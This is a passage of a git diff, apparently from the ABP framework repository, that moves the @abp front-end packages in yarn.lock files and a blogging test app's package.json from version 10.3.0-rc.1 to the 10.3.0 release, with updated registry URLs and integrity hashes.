- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0-rc.1.tgz#2350aba655b18510dea0ca50cb91e5e5960e9480"
- integrity sha512-jKo5H0+FSA+1aDdIWDmyAwNP2nFf19x4nAHbclkwnsexHBRfQlvx6yB6sY85BP+Ft6zxIn9gRRLbJPvFwsKBWw==
+"@abp/clipboard@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0.tgz#7bfbfcae6a135065ee13afd1b7d3abc92176a203"
+ integrity sha512-Cah+jOzcG1KZh6PXWxo+BedU7gsqTuNlTDsCzBCk2NuV2/Blb5qumAwEP4GBKAEIY/XwcFQP/ubxuXMTNjr0jw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
clipboard "^2.0.11"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/prismjs@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0-rc.1.tgz#147852ca4e0f9ceebe5681b65ad440b48325021f"
- integrity sha512-sAWkFAP8GPx4UBR2EXg9Uz0sivK9CTWccUGGecttK9mNf12YbtVftmS145Fgip2+ifklPTcVRjXWIghyJPYu5Q==
+"@abp/prismjs@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0.tgz#4ea33ece50cefcfc8a89c17b0d265b484b7205ee"
+ integrity sha512-WvkLyg+izkcX6sEOYy41B9lebiniYxMQZ++c+ysyOQKZzrYEEFOOLlnFS9jPqSKLv9cNRizhG1CCfiwoYCxufQ==
dependencies:
- "@abp/clipboard" "~10.3.0-rc.1"
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/clipboard" "~10.3.0"
+ "@abp/core" "~10.3.0"
prismjs "^1.30.0"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/blogging/app/Volo.BloggingTestApp/package.json b/modules/blogging/app/Volo.BloggingTestApp/package.json
index 48f658e59b..da9f44eeae 100644
--- a/modules/blogging/app/Volo.BloggingTestApp/package.json
+++ b/modules/blogging/app/Volo.BloggingTestApp/package.json
@@ -1,9 +1,9 @@
{
- "version": "0.1.0",
- "name": "volo.blogtestapp",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1",
- "@abp/blogging": "~10.3.0-rc.1"
- }
+ "version": "0.1.0",
+ "name": "volo.blogtestapp",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0",
+ "@abp/blogging": "~10.3.0"
+ }
}
diff --git a/modules/blogging/app/Volo.BloggingTestApp/yarn.lock b/modules/blogging/app/Volo.BloggingTestApp/yarn.lock
index 408f52ec6b..cd247c048d 100644
--- a/modules/blogging/app/Volo.BloggingTestApp/yarn.lock
+++ b/modules/blogging/app/Volo.BloggingTestApp/yarn.lock
@@ -2,229 +2,229 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
- dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
- dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/blogging@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/blogging/-/blogging-10.3.0-rc.1.tgz#12f6587632e431ead8e7dde57d6d6db343d709d6"
- integrity sha512-sw/iIIWBHYCOxbkBv1LRtnuyweiAdldTE0oWxzFdQyChUYHR3DVXjKQxzi4YtcaxpNsmU/NAeOQAeyaRlNejRQ==
+"@abp/blogging@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/blogging/-/blogging-10.3.0.tgz#cf2c43cf10a3c7f6678682216baa98d297bde3a6"
+ integrity sha512-A3em39jepJp9TCZVcXeQNP+UnCmgggTmbVDbs5agAA2DiaWA+92oTEcAGlooHw48fiGc+1oANC7WaWS5FdNMGA==
dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
- "@abp/owl.carousel" "~10.3.0-rc.1"
- "@abp/prismjs" "~10.3.0-rc.1"
- "@abp/tui-editor" "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
+ "@abp/owl.carousel" "~10.3.0"
+ "@abp/prismjs" "~10.3.0"
+ "@abp/tui-editor" "~10.3.0"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/clipboard@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0-rc.1.tgz#2350aba655b18510dea0ca50cb91e5e5960e9480"
- integrity sha512-jKo5H0+FSA+1aDdIWDmyAwNP2nFf19x4nAHbclkwnsexHBRfQlvx6yB6sY85BP+Ft6zxIn9gRRLbJPvFwsKBWw==
+"@abp/clipboard@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0.tgz#7bfbfcae6a135065ee13afd1b7d3abc92176a203"
+ integrity sha512-Cah+jOzcG1KZh6PXWxo+BedU7gsqTuNlTDsCzBCk2NuV2/Blb5qumAwEP4GBKAEIY/XwcFQP/ubxuXMTNjr0jw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
clipboard "^2.0.11"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
